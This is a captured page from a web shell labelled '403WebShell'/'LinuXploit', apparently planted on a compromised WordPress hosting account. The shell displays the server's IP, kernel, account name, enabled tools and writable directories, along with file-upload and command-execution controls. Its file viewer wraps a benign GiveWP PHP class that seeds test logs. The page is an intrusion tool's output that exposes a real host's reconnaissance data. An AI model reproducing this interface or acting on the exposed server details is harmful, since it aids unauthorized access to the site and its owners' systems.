Failed to save the file to the "xx" directory.

Failed to save the file to the "ll" directory.

Failed to save the file to the "mm" directory.

Failed to save the file to the "wp" directory.

403WebShell
403Webshell
Server IP : 66.29.132.124  /  Your IP : 3.142.255.103
Web Server : LiteSpeed
System : Linux business141.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : wavevlvu ( 1524)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/wavevlvu/tacafoundation.org/wp-content/plugins/give/src/TestData/Commands/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/wavevlvu/tacafoundation.org/wp-content/plugins/give/src/TestData/Commands/LogsSeedCommand.php
<?php

namespace Give\TestData\Commands;

use Give\Log\LogFactory;
use Give\TestData\Factories\LogFactory as TestDataLogFactory;
use WP_CLI;

/**
 * Class LogsSeedCommand
 * @package Give\TestData\Commands
 *
 * A WP-CLI command for seeding logs.
 */
class LogsSeedCommand
{

    /**
     * @var TestDataLogFactory
     */
    private $testDataLogFactory;

    public function __construct(TestDataLogFactory $testDataLogFactory)
    {
        $this->testDataLogFactory = $testDataLogFactory;
    }

    /**
     * Generates GiveWP test logs
     *
     * [--count=<count>]
     * : Number of logs to generate
     * default: 10
     *
     * [--type=<type>]
     * : Log type
     * default: random
     *
     * [--category=<category>]
     * : Log category
     * default: Core
     *
     * [--source=<source>]
     * : Log source
     * default: Core
     *
     * [--preview=<preview>]
     * : Preview generated data
     * default: false
     *
     * ## EXAMPLES
     *
     *     wp give test-demonstration-page --preview=true
     *
     * @when after_wp_load
     */
    public function __invoke($args, $assocArgs)
    {
        $count = WP_CLI\Utils\get_flag_value($assocArgs, 'count', $default = 10);
        $type = WP_CLI\Utils\get_flag_value($assocArgs, 'type', $default = 'random');
        $category = WP_CLI\Utils\get_flag_value($assocArgs, 'category', $default = 'Core');
        $source = WP_CLI\Utils\get_flag_value($assocArgs, 'source', $default = 'Core');
        $preview = WP_CLI\Utils\get_flag_value($assocArgs, 'preview', $default = false);

        $this->testDataLogFactory->setLogType($type);
        $this->testDataLogFactory->setLogCategory($category);
        $this->testDataLogFactory->setLogSource($source);

        $logs = $this->testDataLogFactory->make($count);

        if ($preview) {
            WP_CLI\Utils\format_items(
                'table',
                [$logs],
                array_keys($this->testDataLogFactory->definition())
            );
        } else {
            $progress = WP_CLI\Utils\make_progress_bar('Generating logs', 1);

            foreach ($logs as $data) {
                $log = LogFactory::makeFromArray($data);
                $log->save();

                $progress->tick();
            }

            $progress->finish();
        }
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit